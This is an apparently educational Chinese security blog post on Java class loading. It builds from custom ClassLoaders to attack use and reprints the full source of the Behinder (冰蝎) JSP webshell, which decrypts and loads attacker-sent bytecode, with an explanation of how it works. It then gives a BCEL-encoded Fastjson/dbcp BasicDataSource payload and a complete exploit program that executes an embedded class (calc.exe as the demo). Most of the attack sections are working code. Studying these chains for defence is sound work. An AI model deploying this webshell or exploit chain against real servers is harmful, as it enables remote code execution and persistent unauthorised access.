java安全中的类加载

news2025/2/12 22:00:16

java安全中的类加载

提前声明: 本文所涉及的内容仅供参考与教育目的,旨在普及网络安全相关知识。其内容不代表任何机构、组织或个人的权威建议,亦不构成具体的操作指南或法律依据。作者及发布平台对因使用本文信息直接或间接引发的任何风险、损失或法律纠纷不承担责任。

对应的代码我发在了github上,有兴趣的师傅可以看一下

https://github.com/LINGX5/javaClassloader

一、 ClassLoader(类加载机制)

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的 native方法(defineclass0/1/2)来定义一个java.lang.Class实例。

    /**
     * Defines a class of the given flags via Lookup.defineClass.
     *
     * @param loader the defining loader
     * @param lookup nest host of the Class to be defined
     * @param name the binary name or {@code null} if not findable
     * @param b class bytes
     * @param off the start offset in {@code b} of the class bytes
     * @param len the length of the class bytes
     * @param pd protection domain
     * @param initialize initialize the class
     * @param flags flags
     * @param classData class data
     */
    static native Class<?> defineClass0(ClassLoader loader,
                                        Class<?> lookup,
                                        String name,
                                        byte[] b, int off, int len,
                                        ProtectionDomain pd,
                                        boolean initialize,
                                        int flags,
                                        Object classData);

	static native Class<?> defineClass1(ClassLoader loader, String name, byte[] b, int off, int len,
                                        ProtectionDomain pd, String source);
	static native Class<?> defineClass2(ClassLoader loader, String name, java.nio.ByteBuffer b,
                                        int off, int len, ProtectionDomain pd,String source);

可以看到这是classloader类中的三个native方法,三个方法是 Java 虚拟机(JVM)中用于动态定义类的本地方法(Native Methods),它们没有方法体,因为它们的实现是由 JVM 在底层(通常是 C/C++ 代码)提供的。这些方法的主要作用是允许 Java 程序在运行时动态加载和定义类,而不是在编译时静态加载。

主要流程图:

image-20250208120302045

1.字节码解析:

JVM 会解析传入的字节码(无论是 byte[] 还是 ByteBuffer),验证其是否符合 Java 类文件格式(Class File Format)。
如果字节码无效,JVM 会抛出 ClassFormatError。

2.类加载:

JVM 会创建一个内部类结构(Klass),并将其注册到类加载器(ClassLoader)的类表中。
如果类已经存在,JVM 会抛出 LinkageError。

3.安全验证:

JVM 会检查 ProtectionDomain,确保类加载操作符合安全管理器的要求。
如果安全验证失败,JVM 会抛出 SecurityException。

4.初始化:

如果 initialize 参数为 true,JVM 会执行类的静态初始化块(<clinit>)。

5.返回类对象:

最终,JVM 会返回一个 Class<?> 对象,表示新定义的类。

ClassLoader类有如下核心方法:

1.loadclass(加载指定的Java类)
2.findClass(查找指定的Java类)
3.findLoadedclass(查找JVM已经加载过的类)
4.defineclass(定义一个Java类)
5.resolveC1ass(链接指定的Java类)

Java类加载方式分为显式隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

二、以helloword为例

理解Java类加载机制并非易事,这里我们以一个Java的HelloWorld来学习 ClassLoader

ClassLoader 加载 HelloWorld 类重要流程如下:

  1. ClassLoader 会调用 public Class<?> loadClass(String name) 方法加载 HelloWorld 类。
  2. 调用 findLoadedClass 方法检查 TestHelloWorld 类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
  3. 如果创建当前 ClassLoader 时传入了父类加载器( new ClassLoader(父类加载器))就使用父类加载器加载 HelloWorld 类,否则使用JVM的 Bootstrap ClassLoader 加载。
  4. 如果上一步无法加载 HelloWorld 类,那么调用自身的 findClass 方法尝试加载 HelloWorld 类。
  5. 如果当前的 ClassLoader 没有重写了 findClass 方法,那么直接返回类加载失败异常。如果当前类重写了 findClass 方法并通过传入的 HelloWorld 类名找到了对应的类字节码,那么应该调用 defineClass 方法去JVM中注册该类。
  6. 如果调用 loadClass 的时候传入的 resolve 参数为true,那么还需要调用 resolveClass 方法链接类,默认为false。
  7. 返回一个被JVM加载后的 java.lang.Class 类对象。

三、自定义classloader

我们看一个示例

1、testclassloader文件

import java.lang.reflect.Method;

public class testClassloader extends ClassLoader{
    // 定义类名称
    public static String CLASS_NAME = "HelloWorld";
    // 定义类字节码
    public static byte[] CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 61, 0, 17, 10, 0, 2,
            0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47,
            79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86,
            8, 0, 8, 1, 0, 13, 72, 101, 108, 108, 111, 44, 32, 87, 111, 114, 108, 100, 33, 7, 0,
            10, 1, 0, 10, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1,
            0, 10, 104, 101, 108, 108, 111, 119, 111, 114, 108, 100, 1, 0, 20, 40, 41, 76, 106, 97,
            118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111,
            117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114,
            108, 100, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6,
            0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12,
            0, 0, 0, 6, 0, 1, 0, 0, 0, 1, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1,
            0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 15, 0,
            0, 0, 2, 0, 16};
    // 重写findClass方法
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 如果类名称匹配
        if (CLASS_NAME.equals(name)) {
            // 返回类字节码
            return defineClass(name, CLASS_BYTES, 0, CLASS_BYTES.length);
        }
        // 否则调用父类方法
        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义类加载器
        testClassloader loader = new testClassloader();
        try{
            // 使用加载器加载HelloWorld类
            Class<?> aClass = loader.loadClass(CLASS_NAME);
            // 利用类反射创建HelloWorld对象
            Object instance = aClass.getDeclaredConstructor().newInstance();
            // 反射获取helloworld方法
            Method method = instance.getClass().getMethod("helloworld");
            // 反射调用helloworld方法
            String str = (String)method.invoke(instance);
            System.out.println(str);

        }catch (Exception e){
            System.out.println(e);
        }
    }

}

这里CLASS_BYTES是HelloWord.java编译出来的class文件的字节码数组

2、HelloWord文件

public class HelloWorld {
    public void helloworld() {
        System.out.println("Hello World!");
    }
}

这里就简单定义了一个helloworld()方法,编译为class文件

3、class2Bytes文件

这个文件实现把class转化为byte数组的功能,封装了一个转化方法将字节码转化为数组

package classLoader;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Arrays;

public class Class2Bytes {
    public  byte[] class2bytes(File classFile) {
        try {FileInputStream fis = new FileInputStream(classFile);
             ByteArrayOutputStream baos = new ByteArrayOutputStream();
            int bytesRead = 0;
            byte[] bytes = new byte[4096];
            while ((bytesRead = fis.read(bytes, 0, 4096)) != -1) {
                baos.write(bytes, 0, bytesRead);
            }
            byte[] classBytes = baos.toByteArray();
            return classBytes;
        } catch (Exception e) {
            System.out.println("转换出错: " + e.getMessage());
            e.printStackTrace();
        }
        return null;
    }
}

4、执行结果

image-20250208184445863

而最终的结果是只需要一个testClassloader文件,就可以直接运行输出Hello, World!

classloader类加载器把CLASS_BYTES这个数组(HelloWorld.class文件内容)直接加载进了jvm虚拟机,通过类反射的操作进行HelloWorld对象实例化和helloworld()方法的调用

四、ClassLoader隔离机制

核心概念

  1. 类加载器父子关系

    创建类加载器时可指定父类加载器。默认遵循双亲委派模型(优先委派父类加载器加载类)。

  2. 类加载隔离条件
    若两个类加载器无父子关系且未共享父类加载器,则它们可以加载同名类(例如从相同路径加载的 User.class),但会被 JVM 视为完全不同的类

  3. 跨类加载器调用限制
    同级类加载器(无父子关系的平级类加载器)加载的类:

    • 无法直接通过类型转换或静态引用访问对方的类。
    • 必须通过反射获取目标类的 Class 对象,再动态调用方法。

示例

// 类加载器 A 加载的类
ClassLoader loaderA = new CustomClassLoader(parentLoader);
Class<?> classA = loaderA.loadClass("com.example.Demo");

// 类加载器 B 加载的类
ClassLoader loaderB = new CustomClassLoader(parentLoader);
Class<?> classB = loaderB.loadClass("com.example.Demo");

// 以下操作会失败:类类型不兼容
// Demo objA = (Demo) classA.newInstance(); 

// 必须通过反射调用
Object instanceA = classA.newInstance();
Method method = classA.getMethod("execute");
method.invoke(instanceA);

分析

类的身份 = 类加载器 + 全限定类名。

  1. 类加载器的隔离性

    • 每个类加载器拥有独立的命名空间,即使两个类加载器共享同一个父类加载器,它们加载的类也互不干扰
    • JVM 通过「类全限定名 + 类加载器」的组合唯一标识一个类。
  2. 示例中的实际内存状态

    • loaderA 加载的 Demo 类 → 记为 Demo@LoaderA
    • loaderB 加载的 Demo 类 → 记为 Demo@LoaderB
    • 两个类在 JVM 中独立存在,彼此不可见,也不会被覆盖。
  3. 为什么强制转换失败?

    Demo demoA = (Demo) instanceA; // 实际等价于:
    Demo@SystemClassLoader demoA = (Demo@SystemClassLoader) instanceA;
    
    

五、JSP自定义类加载后门

以冰蝎为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击,其中equals方法传入的pageContext对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。

冰蝎源码

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

从冰蝎的源码不难看出,他就是基于classloader原理开发的后门文件。

源码分度解析

最后一行调用的方法比较多我们拆开来看

Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES")); // 2对应解密模式(Cipher.DECRYPT_MODE)
  • 初始化Cipher:使用AES算法创建解密实例,模式为Cipher.DECRYPT_MODE(值2)。

  • 密钥规范:通过SecretKeySpec将字符串密钥转换为AES所需的密钥格式。

byte[] encryptedData = new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine());
byte[] decryptedData = c.doFinal(encryptedData); // AES解密
  • 读取请求体:从POST请求中读取一行Base64编码的加密数据。
  • 解密数据:使用AES密钥解密数据,得到原始的字节码(.class文件内容)。
ClassLoader customLoader = new U(this.getClass().getClassLoader());
Class maliciousClass = customLoader.g(decryptedData); // 调用defineClass加载类
Object instance = maliciousClass.newInstance(); // 实例化类
instance.equals(pageContext); // 触发恶意代码
  • 自定义类加载器:通过继承ClassLoaderU类绕过安全限制,暴露defineClass方法。
  • 加载恶意类:将解密后的字节码动态加载为Java类。
  • 执行代码:实例化类并调用equals方法,传入pageContext对象(提供JSP上下文,便于攻击者操作)。

六、BCEL ClassLoader

正常的classloader加载类时,要有两部分CLASS_NAME和CLASS_BYTES

BCEL Classloader特性:可以将名称直接加载为类

BCEL(Apache Commons BCE)是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名 org.apache.bcel.util.ClassLoader 为 com.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有 $$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。

流程

       [特殊类名]  
         ↓  
 $$BCEL$$ + EncodedBytecode  
         ↓  
   解码为字节数组 (byte[])  
         ↓  
  defineClass() → JVM Class

BCEL攻击原理

当BCEL的 com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass()方法 加载一个类名中带有 $$BCEL$$的类时会截取出 $$BCEL$$后面的字符串,然后使用 com.sun.org.apache.bcel.internal.classfile.Utility的decode()方法将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用 defineClass 注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

源码

关键的两个方法

protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {
    Class cl = null;
    if ((cl = (Class)this.classes.get(class_name)) == null) {
        for(int i = 0; i < this.ignored_packages.length; ++i) {
            if (class_name.startsWith(this.ignored_packages[i])) {
                cl = this.getParent().loadClass(class_name);
                break;
            }
        }

        if (cl == null) {
            JavaClass clazz = null;
            if (class_name.indexOf("$$BCEL$$") >= 0) {
                clazz = this.createClass(class_name);  // 调用createClass
            } else {
                if ((clazz = this.repository.loadClass(class_name)) == null) {
                    throw new ClassNotFoundException(class_name);
                }

                clazz = this.modifyClass(clazz);
            }

            if (clazz != null) {
                byte[] bytes = clazz.getBytes();
                cl = this.defineClass(class_name, bytes, 0, bytes.length);
            } else {
                cl = Class.forName(class_name);
            }
        }

        if (resolve) {
            this.resolveClass(cl);
        }
    }

    this.classes.put(class_name, cl);
    return cl;
}

protected JavaClass createClass(String class_name) {

    int index = class_name.indexOf("$$BCEL$$");
    // 截取类名
    String real_name = class_name.substring(index + 8);
    JavaClass clazz = null;

    try {
        // 解码类名
        byte[] bytes = Utility.decode(real_name, true);
        // 转化为实例
        ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
        clazz = parser.parse();
    } catch (Throwable var8) {
        Throwable e = var8;
        e.printStackTrace();
        return null;
    }

    ConstantPool cp = clazz.getConstantPool();
    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(), (byte)7);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(), (byte)1);
    name.setBytes(class_name.replace('.', '/'));
    return clazz;
}

BCEL编码

调用bcel编码方法,对class字节码文件进行编码

public static String bcelEncode(File classFile) throws IOException {
		return "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);
	}

BCEL解码

解码在com.sun.org.apache.bcel.internal.util.ClassLoader的createClass()方法中

int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
byte[] bytes = Utility.decode(real_name, true);

攻击示例

我们准备一个evilClass类,比较简单。就是在实例化的时候会执行打开计算器命令

public class evilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /*
    public static void main(String[] args) {
        evilClass evil = new evilClass();
    }
    */
}

把它编译为class字节码

image-20250210185100126

我们通过BCEL加载到JVM,并实例化执行

testBCELClassLoader代码

package BCEL;

import classLoader.Class2Bytes;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;

import java.io.File;
import java.io.IOException;
import java.util.Arrays;

public class testBCELClassLoader {
    /**
     * 将class文件转成字节数组,并使用BCEL进行编码
     * @param classFile
     * @return
     * @throws IOException
     */
    public String BCELencode(File classFile) throws Exception {
        Class2Bytes class2Bytes = new Class2Bytes();
        byte[] bytes = class2Bytes.class2bytes(classFile);
//        System.out.println(Arrays.toString(bytes));
        String ClassName = "$$BCEL$$" +  Utility.encode(bytes, true);
        return ClassName;
    }
    /**
     * 使用BCEL类加载器加载恶意类
     * @param ClassName
     * @throws Exception
     */
    public void testClassLoader(String ClassName) throws Exception {
        // 创建BCEL类加载器
        ClassLoader BCELClassLoader = new ClassLoader();
        // 加载获得类实例,同时执行恶意代码 evilClass  1,2,3三种反射实例化类的方法都是可行的
        // 1
        /*Class.forName(ClassName, true, BCELClassLoader);*/
        // 2
        /*Class<?> clazz = BCELClassLoader.loadClass(ClassName);
        clazz.getDeclaredConstructor().newInstance();*/
        // 3
        BCELClassLoader.loadClass(ClassName).newInstance();
    }
    public static void main(String[] args) throws Exception {

        testBCELClassLoader testBCELClassLoader = new testBCELClassLoader();
        String ClassName = testBCELClassLoader.BCELencode(new File("src/main/java/BCEL/evilClass.class"));
        System.out.println(ClassName);
        testBCELClassLoader.testClassLoader(ClassName);
    }
}

结果

成功执行了evil类中的命令

image-20250210194225170

七、BCEL Fastjson链条分析

Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链

攻击代码示例

{
  "@type": "org.apache.commons.dbcp.BasicDataSource",
  "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$ffeP$c9N$CA$U$acf$9b$c5a$X$dc$b7$93$c0$B$3e$A$f4B$f4$o$8a$R$a2$e7$a6$ed$90$c6a$86$cc$M$84$3f$f2$cc$F$8d$H$3f$c0$8f2$be$99$Q$m$b1$P$af$bb$aa_$d5$5b$7e$7e$bf$be$B$5c$e1$dcD$Mq$N$J$LI$a4$Yr$p$3e$e3$N$9b$3b$c3Fw0$92$o$60H$b5$94$a3$82k$86x$a5$falB$87$a1$c1$b4$b0$D$8b$n$bfI$7f$9a$3a$81$gK$Gs$u$835$uU$aa$9d$7f9M$j$Z$G$5dp$5b$d4$e5$5c$86$9e9$Ly$U$Y$S$84$F$c3eeK$d5$L$3c$e5$M$9b$dbF$8f$9e$x$a4$ef75$ec2$U7$fc$cd$5c$c8I$a0$5c$c7D$Re$L$7b$e1L$d9$J$e9$83$5e$c0$c5$5b$df$e3Bj8$600$e4L$d9m$9b$fb$3e$Vm$bb$af$d4k$b6$a3$i$f90$j$P$a4$d7$e7$D$9b$Y$bd$r$ec$d5$f0$e9H$7f$cf$t$ab$_$b3$e7N$3d$noU$I2k$b3z$d8$L$$$b0Ok$NO$M$y$5c$y$c5CB$tt3$ba$93$b5$P$b0$F$3d$Y$8e$u$a6$o2Nk8$5e$a7v$p$vP$f8$84VH$_$91$7dy$87$7eW$5b$a2$b4$88x$D$W$8d$Y$8b$f4e$w$R$ba$Y$R$ab$nMNy$98T$O$84b$j$N$c5$E$89N$a3$7e$ce$fe$A$Pu$k$Y$fc$B$A$A",
  "driverClassLoader": {
    "@type": "org.apache.bcel.util.ClassLoader"
  }
}

FastJson自动调用setter方法修改 org.apache.commons.dbcp.BasicDataSource 类的 driverClassName 和 driverClassLoader 值,driverClassName 是经过BCEL编码后的 com.anbai.sec.classLoader.TestBCELClass 类字节码,driverClassLoader 是一个由FastJson创建的 org.apache.bcel.util.ClassLoader 实例。

Fastjson在autotype开启时,碰到@type字段时,会实例化相应的类,并把后续的字段按照属性:值的形式在类中进行封装

BasicDataSource 类的主要漏洞代码:

image-20250211075655177

image-20250211080530219

BasicDataSource类
实现了 javax.sql.DataSource 接口,部分版本在属性注入完成后(如 driverClassName 设置),会自动尝试初始化驱动以验证配置有效性。当 driverClassName 被注入时,BasicDataSource 可能直接尝试加载驱动类(通过 Class.forName()),从而触发createConnectionFactory()

完整调用链

JSON.parseObject()
  → 反序列化 BasicDataSource 对象
    → 注入 driverClassLoader=BCEL ClassLoader
    → 注入 driverClassName=$$BCEL$$... 
    → BasicDataSource 初始化触发 createConnectionFactory()
      → Class.forName(driverClassName, true, driverClassLoader)
        → BCEL ClassLoader 加载并初始化恶意类
          → 静态代码块/构造函数中的代码被执行

完整EXP

package BCEL;

import classLoader.Class2Bytes;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.classfile.Utility;

import java.io.File;
import java.util.LinkedHashMap;
import java.util.Map;

public class fastjsonRCE {
    public static void main(String[] args) throws Exception {
        // 构造BCEL特定格式的名称字符串
        byte[] bytes = new Class2Bytes().class2bytes(new File("src/main/java/BCEL/evilClass.class"));
        String ClassName = "$$BCEL$$" +  Utility.encode(bytes, true);
        System.out.println(ClassName);
        // 创建一个Map对象, 用于存储要序列化的数据
        Map<String, Object> exp = new LinkedHashMap<>();
        exp.put("@type", "org.apache.commons.dbcp.BasicDataSource");
        exp.put("driverClassName",ClassName);
        // 创建Map对象,存放BCELclassloader
        Map<String, Object> bcel = new LinkedHashMap<>();
        bcel.put("@type", "org.apache.bcel.util.ClassLoader");
        
        exp.put("driverClassLoader", bcel);
        String strExp = JSON.toJSONString(exp);
        System.out.println(strExp);
        JSONObject jsonObject = JSON.parseObject(strExp);
        System.out.println(jsonObject);


    }
}

结果

看到弹出计算机成功

image-20250211082606750

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2297023.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何在Windows中配置MySQL?

MySQL是一个广泛使用的开源关系型数据库管理系统&#xff0c;它支持多种操作系统平台&#xff0c;其中包括Windows。无论是开发者进行本地开发&#xff0c;还是管理员为应用程序配置数据库&#xff0c;MySQL都是一个非常流行的选择。本篇文章将详细介绍如何在Windows操作系统中…

Docker Desktop 镜像源配置

1 打开配置页面 2 docker engine 镜像配置位置 3、替换镜像内容 {"registry-mirrors": ["https://hub-mirror.c.163.com","https://mirror.ccs.tencentyun.com","https://05f073ad3c0010ea0f4bc00b7105ec20.mirror.swr.myhuaweicloud.c…

125,【1】攻防世界unserialize3

进入靶场 代码 <?php // 定义一个名为 xctf 的类 class xctf {// 定义一个公共属性 $flag&#xff0c;初始值为字符串 111public $flag 111;// 定义 __wakeup() 魔术方法// 当使用 unserialize() 函数反序列化对象时&#xff0c;会自动调用 __wakeup() 方法// 在这个方法…

2025年数据资产管理解决方案:资料合集,从基础知识到行业应用的全面解析

在数字化时代&#xff0c;数据已成为企业最宝贵的资产之一。如何有效地管理和利用这些数据&#xff0c;将其转化为实际的经济价值&#xff0c;已成为企业面临的重要课题。 本文将通过数据资产解决方案、数据资产行业报告白皮书、数据资产政策汇编、数据资产基础知识以及数据资…

朝天椒USB服务器:解决加密狗远程连接

本文探讨朝天椒USB服务器用Usb Over Network技术&#xff0c;解决加密狗在虚拟机、云主机甚至异地的远程连接问题。 在企业数字化转型的浪潮中&#xff0c;加密狗作为防止软件盗版的重要手段&#xff0c;广泛应用于各类软件授权场景。然而&#xff0c;随着企业超融合进程不断加…

汽车与AI深度融合:CES Asia 2025前瞻

在科技飞速发展的当下&#xff0c;汽车与AI的融合正成为行业变革的关键驱动力。近日&#xff0c;吉利、极氪、岚图、智己等多家车企纷纷官宣与DeepSeek模型深度融合&#xff0c;其中岚图知音更是将成为首个搭载该模型的量产车型&#xff0c;这无疑是汽车智能化进程中的重要里程…

数据结构与算法-单链表

链表 参考学习&#xff1a;B站-逊哥带你学编程 单链表 单链表-存储结构 typedef int ElemType;typedef struct node{ElemType data;struct node *next; }Node;单链表-初始化 Node *initList() {Node *head (Node *)malloc(sizeof(Node));head->data 0;head->next …

ASP.NET Core 如何使用 C# 向端点发出 POST 请求

使用 C#&#xff0c;将 JSON POST 到 REST API 端点&#xff1b;如何从 REST API 接收 JSON 数据。 本文需要 ASP .NET Core&#xff0c;并兼容 .NET Core 3.1、.NET 6和.NET 8。 要从端点获取数据&#xff0c;请参阅本文。 使用 . 将 JSON 数据发布到端点非常容易HttpClien…

DeepSeek模型R1服务器繁忙,怎么解决?

在当今科技飞速发展的时代&#xff0c;人工智能领域不断涌现出令人瞩目的创新成果&#xff0c;其中DeepSeek模型无疑成为了众多关注焦点。它凭借着先进的技术和卓越的性能&#xff0c;在行业内掀起了一股热潮&#xff0c;吸引了无数目光。然而&#xff0c;如同许多前沿技术在发…

GlusterFS 深度洞察:从架构原理到案例实践的全面解读(上)

文章目录 一.GlusterFS简介二.GlusterFS原理架构三.适用场景四.Glusterfs与其他存储产品对比五.部署GlusterFS集群六. 使用heketi将glusterfs接入k8s作为后端存储 一.GlusterFS简介 GlusterFS是一个免费的开源分布式文件系统&#xff0c;具有无中心节点、堆栈式设计、全局统一…

更新无忧:用 Docker 数据卷确保 Open WebUI 数据持久化

在使用 Docker 部署 Open WebUI 时&#xff0c;如何在更新容器的同时确保数据不丢失&#xff0c;始终是工程师们关注的焦点。每次拉取新版镜像、停止并重启容器时&#xff0c;如果没有正确挂载数据卷&#xff0c;配置和数据库数据极易流失&#xff0c;给生产环境带来不必要的麻…

zyNo.22

常见Web漏洞解析 命令执行漏洞 1.Bash与CMD常用命令 &#xff08;1&#xff09;Bash 读取文件&#xff1a;最常见的命令cat flag 在 Bash 中&#xff0c;cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令&#xff0c;它们的区别如下&#xff1a; …

idea如何使用AI编程提升效率-在IntelliJ IDEA 中安装 GitHub Copilot 插件的步骤-卓伊凡

idea如何使用AI编程提升效率-在IntelliJ IDEA 中安装 GitHub Copilot 插件的步骤-卓伊凡 问题 idea编译器 安装copilot AI工具 实际操作 在 IntelliJ IDEA 中安装 GitHub Copilot 插件的步骤如下&#xff1a; 打开 IntelliJ IDEA&#xff1a; 打开你的 IntelliJ IDEA 应用…

Unity 接入Tripo 文生模型,图生模型

官方网站&#xff1a;https://www.tripo3d.ai/app/home自行注册账号并且登陆下载Unity插件&#xff1a;https://cdn-web.tripo3d.ai/plugin/tripo-unity.zip申请apikey&#xff1a; https://platform.tripo3d.ai/api-keys使用&#xff08;后续过程就按照第二步下载的插件里面的…

WPS计算机二级•文档的文本样式与编号

听说这是目录哦 标题级别❤️新建文本样式 快速套用格式&#x1fa77;设置标题样式 自定义设置多级编号&#x1f9e1;使用自动编号&#x1f49b;取消自动编号&#x1f49a;设置 页面边框&#x1f499;添加水印&#x1fa75;排版技巧怎么分栏&#x1f49c;添加空白下划线&#x…

外部中断实验 #STM32F407

外部中断实验 此实验将外部中断配置为按键输入&#xff0c;通过按键输入触发外部中断&#xff0c;在外部中断里面实施相应的处理&#xff0c;具体功能&#xff1a; 按下KEY0&#xff0c;翻转LED0状态按下KEY1&#xff0c;翻转LED1状态按下KEY2&#xff0c;同时翻转LED0和LED1…

kafka了解-笔记

文章目录 kafka快速上手Kafka介绍Kafka快速上手理解Kafka的集群工作机制Kafka集群的消息流转模型 Kafka客户端小型流转流程客户端工作机制 kafka快速上手 Kafka介绍 MQ的作用 MQ&#xff1a;MessageQueue&#xff0c;消息队列&#xff0c;是一种FIFO先进先出的数据结构&#…

渗透利器:Burp Suite 联动 XRAY 图形化工具.(主动扫描+被动扫描)

Burp Suite 联动 XRAY 图形化工具.&#xff08;主动扫描被动扫描&#xff09; Burp Suite 和 Xray 联合使用&#xff0c;能够将 Burp 的强大流量拦截与修改功能&#xff0c;与 Xray 的高效漏洞检测能力相结合&#xff0c;实现更全面、高效的网络安全测试&#xff0c;同时提升漏…

js中的== 和 ===运算符的比较和区别(面试题)

和 运算符用于比较 JavaScript 值是否相等。 自动转换数据类型&#xff0c;允许不同类型值的比较。 进行严格相等比较&#xff0c;仅在值和数据类型都相同的情况下返回 true。NaN 仅在 比较中与自身相等&#xff0c;而在 比较中不相等。null 和 undefined 仅在 比较中相等。…

通过客户端Chatbox或OpenwebUI访问识别不到本地ollama中的模型等问题的解决

Chatbox和Open WebUI 等无法获取到 Ollama里的模型&#xff0c;主要是由以下原因导致&#xff1a; Ollama 服务未正确暴露给 Docker 容器或客户端模型未正确下载或名称不匹配网络配置或权限问题 排查以上问题的思路首先排查ollama服务是否启动&#xff0c;然后再看端口号 使…